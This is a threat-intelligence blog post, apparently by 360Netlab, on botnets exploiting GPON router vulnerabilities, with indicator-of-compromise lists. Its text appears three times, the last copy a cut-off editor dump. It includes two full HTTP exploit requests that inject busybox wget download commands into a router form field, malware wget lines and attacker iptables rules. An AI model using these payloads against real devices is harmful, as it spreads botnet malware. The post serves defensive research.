GPON Exploit in the Wild (III)  - Mettle, Hajime, Mirai, Omni, Imgay
<!--kg-card-begin: markdown--><p>This article was co-authored by Hui Wang, LIU Ya, Rootkiter and Yegenshen.</p>
<p>In our previous articles  <a href="__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/">I</a> and <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">II</a> of this series, we mentioned that since the expose of the GPON vulnerabilities (CVE-2018-10561, CVE-2018-10562), there have been at least five botnet families actively exploiting this vulnerability to build their bot army within the first 10 days. Those includes mettle, muhstik, mirai, hajime, satori, and so on. They rushed up and competed for territory, providing IoT botnet researchers with an excellent opportunity for close observation.</p>
<p>In our observation, one interesting point is that the exploit code of each botnet can only affect a small part (estimated approximately 2%) of GPON home routers. As a result, the number of devices that were eventually implanted was greatly reduced, and the majority of GPON home router users survived. However, administrators still need to be vigilant, because the malicious code are under active development, and code revisions will only take a short time.</p>
<p>While keeping our observations, we also have taken action to curb the proliferation of muhstik botnets together with the security community. But muhstik malicious campaign are not willing to give up easily. They tried to come back again and again. Our readers may stay tuned.</p>
<p>In this article, we will introduce other botnets in turn:</p>
<ul>
<li><strong>Mettle</strong>: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module</li>
<li><strong>Hajime</strong>: This round of update from <strong>Hajime</strong> also includes GPON exploits.</li>
<li><strong>Two Mirai variants</strong>: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">Omni</a>.</li>
<li><strong>Imgay</strong>: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions.</li>
</ul>
<h4 id="mettlebotnet">Mettle Botnet</h4>
<p>As we mentioned before, Mettle botnet's C2 became offline soon after this round attack. The features of this malicious campaign include:</p>
<ul>
<li><strong>Scanner IP</strong>: 118.70.80.143 Vietnam/VN Hanoi	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li>
<li><strong>C2 Server</strong>: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City	&quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot;</li>
<li><strong>Download Server</strong>: 210:245.26.180:80</li>
<li><strong>Malware (Downloader) sample hash</strong>:  8e2c6a92a024f8b8bb3c086b86fa50f9</li>
<li>The above downloader will first download <strong>mettle</strong> (an opensource penetration testing tool derived from Metasploit), and then the target device will be controlled by the C2 server</li>
</ul>
<p>Besides, after exploitation, the attacker will also modify iptables rule on GPON routers to block TCP port 80 and 443 traffic, which is probably trying to prevent intruding by other malwares. Part of iptables rule are as follows:</p>
<pre><code>-A ACL -p tcp -m tcp --dport 80 -j DROP
-A ACL -p tcp -m tcp --dport 23 -j DROP
-A ACL -p tcp -m tcp --dport 22 -j DROP
-A ACL -p tcp -m tcp --dport 21 -j DROP 
-A ACL -p tcp -m tcp --dport 443 -j DROP
</code></pre>
<p>We haven't observed any mettle attack payload yet, however, we do notice that its IP addresses were related to other malware in the past.</p>
<h4 id="hajimebotnet">Hajime Botnet</h4>
<p>The features of this round of Hajime update are:</p>
<ul>
<li><strong>Filename</strong>：atk.mipseb.1525838286</li>
<li><strong>Origin Hash</strong>: 8CCA32FB1FE4826007B087B4AEE20941</li>
<li><strong>Packed Hash</strong>: ED1306E24196533553571D5433312A2D</li>
<li><strong>Unpacked Hash</strong>: E06E1E7993EA310CE0FBA9DD76CDF377</li>
<li><strong>Target port</strong>：23,80,8080</li>
<li><strong>New Payload(GPON)</strong>：hxxps://www.exploit-db.com/exploits/44576/</li>
</ul>
<p>The following figure shows the GPON exploit code in Hajime sample:<br>
<img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated.png" alt="" loading="lazy"></p>
<p>The updated atk.mpseb module can launch scanning on port 23, 80 and 8080 simultaneously.<br>
<img src="__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated-scanning-port.png" alt="" loading="lazy"></p>
<h4 id="miraivariant1">Mirai Variant 1</h4>
<p>Its features include:</p>
<ul>
<li><strong>Scanner IP</strong>  : 46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li>
<li><strong>C2 Server</strong> : 46.243.189.102:127  Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot;</li>
<li><strong>Download Server</strong> ：46.243.189.102:80</li>
<li><strong>Malware sample hash</strong>:  c6dc9f7cf09a267fefe53c5c481e7ea0</li>
</ul>
<p>The attack payload are as follow:</p>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Host: {target}
Accept: */*
Content-Length: 138
Content-Type: application/x-www-form-urlencoded

XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&amp;ipv=0
</code></pre>
<p>We have been monitoring the C2 server of this Mirai variant for quite a long time. The C2 is really active and have sent quite a number of DDoS attack commands. The first time we saw its DDoS commmand was 2018-01-26 13:10:20. The following figure shows the daily number of its attack commands:</p>
<p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command.png" alt="" loading="lazy"></p>
<p>For the victims, we only list parts of popular attacked sites below, including: check-host.net, incapsula.com, moz.com, opskins.com, pastebin.com, roblox.com, seznam.cz, store.playstation.com, www.kinguin.net, etc:</p>
<p><img src="__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command-detail.png" alt="" loading="lazy"></p>
<h4 id="miraivariant2omni">Mirai Variant 2  - Omni</h4>
<p>Researchers at newskysecurity have already named the Mirai variant <a href="https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3">Omni</a>, and their description is consistent with our observations</p>
<p>In this round of attack, the Omni botnet uses following attack payload:</p>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {target}
Content-Length: 120
User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&amp;ipv=0
</code></pre>
<p>This botnet's features include:</p>
<ul>
<li><strong>Download server URL</strong> ：hxxp://185.246.152.173/omni</li>
<li><strong>C2 server</strong>：185.246.152.173:1000</li>
<li><strong>Scanner IP</strong>：51.15.106.135</li>
</ul>
<p>This C2 has historically spread multiple Mirai variants, including Owari, XOwari, S-owari, Sora, and Omni. The malware samples came from this C2 supports multiple CPU architectures, in addition to the usually supported CPU like Arm, Mips, Mpsl, Mipsl, X86, and Sparc, they also supports the ARC CPU which once widely concerned by the community.</p>
<p>Another interesting point is the two messages that the botnet author released to the outside world. One message is saved on the c2 server (hxxp://185.246.152.173/meme). Currently this URL is not accessible. We have a history screenshot as follows. The main body of the page is a photo from the movie &quot;The Matrix&quot; combined with a head of famous security blogger <a href="https://krebsonsecurity.com/">Brian Krebs</a>:</p>
<p><img src="__GHOST_URL__/content/images/2018/05/omni-krebs-gmail.png" alt="" loading="lazy"></p>
<p>The text of the page is as follows. It contains an email address：krebsonsecurity@gamil.com. Note that this is not Brian Krebs’s email address.</p>
<pre><code>Hey you, stop right there!
Want your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!
~ scarface is your daddy ~
</code></pre>
<p>Another piece of message is saved in the sample, containing a twitter account @1337Wicked :<br>
<img src="__GHOST_URL__/content/images/2018/05/sora-author-info.png" alt="" loading="lazy"></p>
<pre><code>md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8
message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter
</code></pre>
<h4 id="imgaybotnet">Imgay Botnet</h4>
<p>Imgay is another botnet，the malicious code URL it spreads is as follows:</p>
<pre><code>hxxp://149.28.96.126/imgay
</code></pre>
<p>The malicious code accesses the following addresses, but then the it ends and no more activity is seen.</p>
<pre><code>wget hxxp://149.28.96.126/loaded/killy &gt; /dev/null 2&gt;&amp;1
wget hxxp://149.28.96.126/pid_max/%s &gt; /dev/null 2&gt;&amp;1
wget hxxp://149.28.96.126/pid_max/default &gt; /dev/null 2&gt;&amp;1
wget hxxp://149.28.96.126/killed/%i &gt; /dev/null 2&gt;&amp;1
</code></pre>
<h4 id="contactus">Contact Us</h4>
<p>We can be reached at <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> or at WeChat subscription account <strong>360Netlab</strong>.</p>
<h4 id="ioc">Ioc</h4>
<p>Mettle</p>
<pre><code>118.70.80.143 Vietnam/VN Hanoi &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; scanner IP
210.245.26.180:4441 Vietnam/VN Ho Chi Minh City &quot;AS18403 The Corporation for Financing &amp; Promoting Technology&quot; c2
8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash
</code></pre>
<p>Hajime</p>
<pre><code>atk.mipseb.1525838286   file name
8CCA32FB1FE4826007B087B4AEE20941  hash original
ED1306E24196533553571D5433312A2D  hash before unpack
E06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack
</code></pre>
<p>Mira variant #1</p>
<pre><code>46.243.189.60 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; scanner IP
46.243.189.102:127 Netherlands/NL &quot;AS205406 Hostio Solutions B.V.&quot; C2 ip
c6dc9f7cf09a267fefe53c5c481e7ea0   malware hash
</code></pre>
<p>Omni</p>
<pre><code>185.246.152.173:1000 Netherlands/NL &quot;AS56630 Melbikomas UAB&quot; C2 
51.15.106.135 France/FR	&quot;AS12876 Online S.a.s.&quot;   scanner IP
hxxp://185.246.152.173/omni malware download URL
</code></pre>
<p>Omni malware download URLs in all the past</p>
<pre><code>hxxp://185.246.152.173:80/bins/spc.omni
hxxp://185.246.152.173:80/bins/sora.spc
hxxp://185.246.152.173:80/bins/sora.sh4
hxxp://185.246.152.173:80/bins/sora.arm6
hxxp://185.246.152.173:80/bins/sora.arm5
hxxp://185.246.152.173:80/bins/s-owari.spc
hxxp://185.246.152.173:80/bins/s-owari.mpsl
hxxp://185.246.152.173:80/bins/s-owari.m68k
hxxp://185.246.152.173:80/bins/s-owari.arm
hxxp://185.246.152.173:80/bins/s-owari.arm7
hxxp://185.246.152.173:80/bins/s-owari.arc
hxxp://185.246.152.173:80/bins/owari.x86
hxxp://185.246.152.173:80/bins/owari.spc
hxxp://185.246.152.173:80/bins/owari.mpsl
hxxp://185.246.152.173:80/bins/owari.mips
hxxp://185.246.152.173:80/bins/owari.i586
hxxp://185.246.152.173:80/bins/owari.arm
hxxp://185.246.152.173:80/bins/owari.arm7
hxxp://185.246.152.173:80/bins/owari.arm5
hxxp://185.246.152.173:80/bins/owari.arm4
hxxp://185.246.152.173:80/bins/mpsl.omni
hxxp://185.246.152.173:80/bins/mips.owari
hxxp://185.246.152.173:80/bins/mips.omni
hxxp://185.246.152.173:80/bins/arm7.omni
hxxp://185.246.152.173:80/bins/arm6.omni
hxxp://185.246.152.173:80/bins/arc.omni
hxxp://185.246.152.173:80/bins/Owari.x86
hxxp://185.246.152.173:80/bins/Owari.spc
hxxp://185.246.152.173:80/bins/Owari.sh4
hxxp://185.246.152.173:80/bins/Owari.mpsl
hxxp://185.246.152.173:80/bins/Owari.mips1
hxxp://185.246.152.173:80/bins/Owari.m68k
hxxp://185.246.152.173:80/bins/Owari.arm7
hxxp://185.246.152.173:80/bins/Owari.arm6
hxxp://185.246.152.173/xOwari.sh
hxxp://185.246.152.173/bins/x86.omni
hxxp://185.246.152.173/bins/scan.x86
hxxp://185.246.152.173/bins/s-owari.ppc
hxxp://185.246.152.173/bins/s-owari.mpsl
hxxp://185.246.152.173/bins/s-owari.arm
hxxp://185.246.152.173/bins/s-owari.arm7
hxxp://185.246.152.173/bins/owari.spc
hxxp://185.246.152.173/bins/owari.sh4
hxxp://185.246.152.173/bins/owari.mips
hxxp://185.246.152.173/bins/owari.m68k
hxxp://185.246.152.173/bins/owari.arm
hxxp://185.246.152.173/bins/owari.arm7
hxxp://185.246.152.173/bins/nocpu.x86
hxxp://185.246.152.173/bins/nocpu.mips
hxxp://185.246.152.173/41ai.sh
</code></pre>
<!--kg-card-end: markdown-->
This article was co-authored by Hui Wang, LIU Ya, Rootkiter and Yegenshen.


In our previous articles I and II of this series, we mentioned that since the expose of the GPON vulnerabilities (CVE-2018-10561, CVE-2018-10562), there have been at least five botnet families actively exploiting this vulnerability to build their bot army within the first 10 days. Those includes mettle, muhstik, mirai, hajime, satori, and so on. They rushed up and competed for territory, providing IoT botnet researchers with an excellent opportunity for close observation.


In our observation, one interesting point is that the exploit code of each botnet can only affect a small part (estimated approximately 2%) of GPON home routers. As a result, the number of devices that were eventually implanted was greatly reduced, and the majority of GPON home router users survived. However, administrators still need to be vigilant, because the malicious code are under active development, and code revisions will only take a short time.


While keeping our observations, we also have taken action to curb the proliferation of muhstik botnets together with the security community. But muhstik malicious campaign are not willing to give up easily. They tried to come back again and again. Our readers may stay tuned.


In this article, we will introduce other botnets in turn:


 * Mettle: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module
 * Hajime: This round of update from Hajime also includes GPON exploits.
 * Two Mirai variants: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as Omni.
 * Imgay: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions.


Mettle Botnet


As we mentioned before, Mettle botnet's C2 became offline soon after this round attack. The features of this malicious campaign include:


 * Scanner IP: 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology"
 * C2 Server: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology"
 * Download Server: 210:245.26.180:80
 * Malware (Downloader) sample hash: 8e2c6a92a024f8b8bb3c086b86fa50f9
 * The above downloader will first download mettle (an opensource penetration testing tool derived from Metasploit), and then the target device will be controlled by the C2 server


Besides, after exploitation, the attacker will also modify iptables rule on GPON routers to block TCP port 80 and 443 traffic, which is probably trying to prevent intruding by other malwares. Part of iptables rule are as follows:


-A ACL -p tcp -m tcp --dport 80 -j DROP
-A ACL -p tcp -m tcp --dport 23 -j DROP
-A ACL -p tcp -m tcp --dport 22 -j DROP
-A ACL -p tcp -m tcp --dport 21 -j DROP 
-A ACL -p tcp -m tcp --dport 443 -j DROP



We haven't observed any mettle attack payload yet, however, we do notice that its IP addresses were related to other malware in the past.


Hajime Botnet


The features of this round of Hajime update are:


 * Filename：atk.mipseb.1525838286
 * Origin Hash: 8CCA32FB1FE4826007B087B4AEE20941
 * Packed Hash: ED1306E24196533553571D5433312A2D
 * Unpacked Hash: E06E1E7993EA310CE0FBA9DD76CDF377
 * Target port：23,80,8080
 * New Payload(GPON)：hxxps://www.exploit-db.com/exploits/44576/


The following figure shows the GPON exploit code in Hajime sample:




The updated atk.mpseb module can launch scanning on port 23, 80 and 8080 simultaneously.




Mirai Variant 1


Its features include:


 * Scanner IP : 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V."
 * C2 Server : 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V."
 * Download Server ：46.243.189.102:80
 * Malware sample hash: c6dc9f7cf09a267fefe53c5c481e7ea0


The attack payload are as follow:


POST /GponForm/diag_Form?images/ HTTP/1.1
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
Host: {target}
Accept: */*
Content-Length: 138
Content-Type: application/x-www-form-urlencoded

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0



We have been monitoring the C2 server of this Mirai variant for quite a long time. The C2 is really active and have sent quite a number of DDoS attack commands. The first time we saw its DDoS commmand was 2018-01-26 13:10:20. The following figure shows the daily number of its attack commands:





For the victims, we only list parts of popular attacked sites below, including: check-host.net, incapsula.com, moz.com, opskins.com, pastebin.com, roblox.com, seznam.cz, store.playstation.com, www.kinguin.net, etc:





Mirai Variant 2 - Omni


Researchers at newskysecurity have already named the Mirai variant Omni, and their description is consistent with our observations


In this round of attack, the Omni botnet uses following attack payload:


POST /GponForm/diag_Form?images/ HTTP/1.1
Host: {target}
Content-Length: 120
User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0



This botnet's features include:


 * Download server URL ：hxxp://185.246.152.173/omni
 * C2 server：185.246.152.173:1000
 * Scanner IP：51.15.106.135


This C2 has historically spread multiple Mirai variants, including Owari, XOwari, S-owari, Sora, and Omni. The malware samples came from this C2 supports multiple CPU architectures, in addition to the usually supported CPU like Arm, Mips, Mpsl, Mipsl, X86, and Sparc, they also supports the ARC CPU which once widely concerned by the community.


Another interesting point is the two messages that the botnet author released to the outside world. One message is saved on the c2 server (hxxp://185.246.152.173/meme). Currently this URL is not accessible. We have a history screenshot as follows. The main body of the page is a photo from the movie "The Matrix" combined with a head of famous security blogger Brian Krebs:





The text of the page is as follows. It contains an email address：krebsonsecurity@gamil.com. Note that this is not Brian Krebs’s email address.


Hey you, stop right there!
Want your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!
~ scarface is your daddy ~



Another piece of message is saved in the sample, containing a twitter account @1337Wicked :




md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8
message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter



Imgay Botnet


Imgay is another botnet，the malicious code URL it spreads is as follows:


hxxp://149.28.96.126/imgay



The malicious code accesses the following addresses, but then the it ends and no more activity is seen.


wget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1
wget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1
wget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1
wget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1



Contact Us


We can be reached at twitter or at WeChat subscription account 360Netlab.


Ioc


Mettle


118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" scanner IP
210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" c2
8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash



Hajime


atk.mipseb.1525838286   file name
8CCA32FB1FE4826007B087B4AEE20941  hash original
ED1306E24196533553571D5433312A2D  hash before unpack
E06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack



Mira variant #1


46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." scanner IP
46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." C2 ip
c6dc9f7cf09a267fefe53c5c481e7ea0   malware hash



Omni


185.246.152.173:1000 Netherlands/NL "AS56630 Melbikomas UAB" C2 
51.15.106.135 France/FR	"AS12876 Online S.a.s."   scanner IP
hxxp://185.246.152.173/omni malware download URL



Omni malware download URLs in all the past


hxxp://185.246.152.173:80/bins/spc.omni
hxxp://185.246.152.173:80/bins/sora.spc
hxxp://185.246.152.173:80/bins/sora.sh4
hxxp://185.246.152.173:80/bins/sora.arm6
hxxp://185.246.152.173:80/bins/sora.arm5
hxxp://185.246.152.173:80/bins/s-owari.spc
hxxp://185.246.152.173:80/bins/s-owari.mpsl
hxxp://185.246.152.173:80/bins/s-owari.m68k
hxxp://185.246.152.173:80/bins/s-owari.arm
hxxp://185.246.152.173:80/bins/s-owari.arm7
hxxp://185.246.152.173:80/bins/s-owari.arc
hxxp://185.246.152.173:80/bins/owari.x86
hxxp://185.246.152.173:80/bins/owari.spc
hxxp://185.246.152.173:80/bins/owari.mpsl
hxxp://185.246.152.173:80/bins/owari.mips
hxxp://185.246.152.173:80/bins/owari.i586
hxxp://185.246.152.173:80/bins/owari.arm
hxxp://185.246.152.173:80/bins/owari.arm7
hxxp://185.246.152.173:80/bins/owari.arm5
hxxp://185.246.152.173:80/bins/owari.arm4
hxxp://185.246.152.173:80/bins/mpsl.omni
hxxp://185.246.152.173:80/bins/mips.owari
hxxp://185.246.152.173:80/bins/mips.omni
hxxp://185.246.152.173:80/bins/arm7.omni
hxxp://185.246.152.173:80/bins/arm6.omni
hxxp://185.246.152.173:80/bins/arc.omni
hxxp://185.246.152.173:80/bins/Owari.x86
hxxp://185.246.152.173:80/bins/Owari.spc
hxxp://185.246.152.173:80/bins/Owari.sh4
hxxp://185.246.152.173:80/bins/Owari.mpsl
hxxp://185.246.152.173:80/bins/Owari.mips1
hxxp://185.246.152.173:80/bins/Owari.m68k
hxxp://185.246.152.173:80/bins/Owari.arm7
hxxp://185.246.152.173:80/bins/Owari.arm6
hxxp://185.246.152.173/xOwari.sh
hxxp://185.246.152.173/bins/x86.omni
hxxp://185.246.152.173/bins/scan.x86
hxxp://185.246.152.173/bins/s-owari.ppc
hxxp://185.246.152.173/bins/s-owari.mpsl
hxxp://185.246.152.173/bins/s-owari.arm
hxxp://185.246.152.173/bins/s-owari.arm7
hxxp://185.246.152.173/bins/owari.spc
hxxp://185.246.152.173/bins/owari.sh4
hxxp://185.246.152.173/bins/owari.mips
hxxp://185.246.152.173/bins/owari.m68k
hxxp://185.246.152.173/bins/owari.arm
hxxp://185.246.152.173/bins/owari.arm7
hxxp://185.246.152.173/bins/nocpu.x86
hxxp://185.246.152.173/bins/nocpu.mips
hxxp://185.246.152.173/41ai.sh


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This article was co-authored by Hui Wang, LIU Ya, Rootkiter and Yegenshen.\n\nIn our previous articles  [I](__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/) and [II](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) of this series, we mentioned that since the expose of the GPON vulnerabilities (CVE-2018-10561, CVE-2018-10562), there have been at least five botnet families actively exploiting this vulnerability to build their bot army within the first 10 days. Those includes mettle, muhstik, mirai, hajime, satori, and so on. They rushed up and competed for territory, providing IoT botnet researchers with an excellent opportunity for close observation.\n\nIn our observation, one interesting point is that the exploit code of each botnet can only affect a small part (estimated approximately 2%) of GPON home routers. As a result, the number of devices that were eventually implanted was greatly reduced, and the majority of GPON home router users survived. However, administrators still need to be vigilant, because the malicious code are under active development, and code revisions will only take a short time.\n\nWhile keeping our observations, we also have taken action to curb the proliferation of muhstik botnets together with the security community. But muhstik malicious campaign are not willing to give up easily. They tried to come back again and again. Our readers may stay tuned.\n\nIn this article, we will introduce other botnets in turn:\n\n - **Mettle**: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module\n - **Hajime**: This round of update from **Hajime** also includes GPON exploits.\n - **Two Mirai variants**: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as [Omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3).\n - **Imgay**: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions.\n\n#### Mettle Botnet\n\nAs we mentioned before, Mettle botnet's C2 became offline soon after this round attack. The features of this malicious campaign include:\n\n - **Scanner IP**: 118.70.80.143 Vietnam/VN Hanoi\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **C2 Server**: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **Download Server**: 210:245.26.180:80\n - **Malware (Downloader) sample hash**:  8e2c6a92a024f8b8bb3c086b86fa50f9\n - The above downloader will first download **mettle** (an opensource penetration testing tool derived from Metasploit), and then the target device will be controlled by the C2 server\n\nBesides, after exploitation, the attacker will also modify iptables rule on GPON routers to block TCP port 80 and 443 traffic, which is probably trying to prevent intruding by other malwares. Part of iptables rule are as follows:\n```\n-A ACL -p tcp -m tcp --dport 80 -j DROP\n-A ACL -p tcp -m tcp --dport 23 -j DROP\n-A ACL -p tcp -m tcp --dport 22 -j DROP\n-A ACL -p tcp -m tcp --dport 21 -j DROP \n-A ACL -p tcp -m tcp --dport 443 -j DROP\n```\n\nWe haven't observed any mettle attack payload yet, however, we do notice that its IP addresses were related to other malware in the past.\n\n#### Hajime Botnet\nThe features of this round of Hajime update are:\n\n  - **Filename**：atk.mipseb.1525838286  \n  - **Origin Hash**: 8CCA32FB1FE4826007B087B4AEE20941\n  - **Packed Hash**: ED1306E24196533553571D5433312A2D\n  - **Unpacked Hash**: E06E1E7993EA310CE0FBA9DD76CDF377\n  - **Target port**：23,80,8080\n  - **New Payload(GPON)**：hxxps://www.exploit-db.com/exploits/44576/ \n\nThe following figure shows the GPON exploit code in Hajime sample:\n![](__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated.png)\n\nThe updated atk.mpseb module can launch scanning on port 23, 80 and 8080 simultaneously.\n![](__GHOST_URL__/content/images/2018/05/hajime-with-gpon-updated-scanning-port.png)\n\n#### Mirai Variant 1\n\nIts features include:\n\n - **Scanner IP**  : 46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - **C2 Server** : 46.243.189.102:127  Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - **Download Server** ：46.243.189.102:80\n - **Malware sample hash**:  c6dc9f7cf09a267fefe53c5c481e7ea0\n\nThe attack payload are as follow:\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2\nHost: {target}\nAccept: */*\nContent-Length: 138\nContent-Type: application/x-www-form-urlencoded\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0\n```\n\nWe have been monitoring the C2 server of this Mirai variant for quite a long time. The C2 is really active and have sent quite a number of DDoS attack commands. The first time we saw its DDoS commmand was 2018-01-26 13:10:20. The following figure shows the daily number of its attack commands:\n\n![](__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command.png)\n\nFor the victims, we only list parts of popular attacked sites below, including: check-host.net, incapsula.com, moz.com, opskins.com, pastebin.com, roblox.com, seznam.cz, store.playstation.com, www.kinguin.net, etc:\n\n![](__GHOST_URL__/content/images/2018/05/mirai-variant-1-attack-command-detail.png)\n\n#### Mirai Variant 2  - Omni\n\nResearchers at newskysecurity have already named the Mirai variant [Omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3), and their description is consistent with our observations\n\nIn this round of attack, the Omni botnet uses following attack payload:\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nHost: {target}\nContent-Length: 120\nUser-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1\nConnection: keep-alive\nAccept: */*\nAccept-Encoding: gzip, deflate\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0\n```\n\nThis botnet's features include:\n\n - **Download server URL** ：hxxp://185.246.152.173/omni\n - **C2 server**：185.246.152.173:1000\n - **Scanner IP**：51.15.106.135\n\nThis C2 has historically spread multiple Mirai variants, including Owari, XOwari, S-owari, Sora, and Omni. The malware samples came from this C2 supports multiple CPU architectures, in addition to the usually supported CPU like Arm, Mips, Mpsl, Mipsl, X86, and Sparc, they also supports the ARC CPU which once widely concerned by the community.\n\nAnother interesting point is the two messages that the botnet author released to the outside world. One message is saved on the c2 server (hxxp://185.246.152.173/meme). Currently this URL is not accessible. We have a history screenshot as follows. The main body of the page is a photo from the movie \"The Matrix\" combined with a head of famous security blogger [Brian Krebs](https://krebsonsecurity.com/):\n\n![](__GHOST_URL__/content/images/2018/05/omni-krebs-gmail.png)\n\nThe text of the page is as follows. It contains an email address：krebsonsecurity@gamil.com. Note that this is not Brian Krebs’s email address.\n```\nHey you, stop right there!\nWant your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!\n~ scarface is your daddy ~\n```\n\nAnother piece of message is saved in the sample, containing a twitter account @1337Wicked :\n![](__GHOST_URL__/content/images/2018/05/sora-author-info.png)\n```\nmd5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8\nmessage: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter\n```\n\n#### Imgay Botnet\n\nImgay is another botnet，the malicious code URL it spreads is as follows:\n```\nhxxp://149.28.96.126/imgay\n```\n\nThe malicious code accesses the following addresses, but then the it ends and no more activity is seen.\n```\nwget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1\nwget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1\n```\n\n\n#### Contact Us\n\nWe can be reached at [**twitter**](https://twitter.com/360Netlab) or at WeChat subscription account 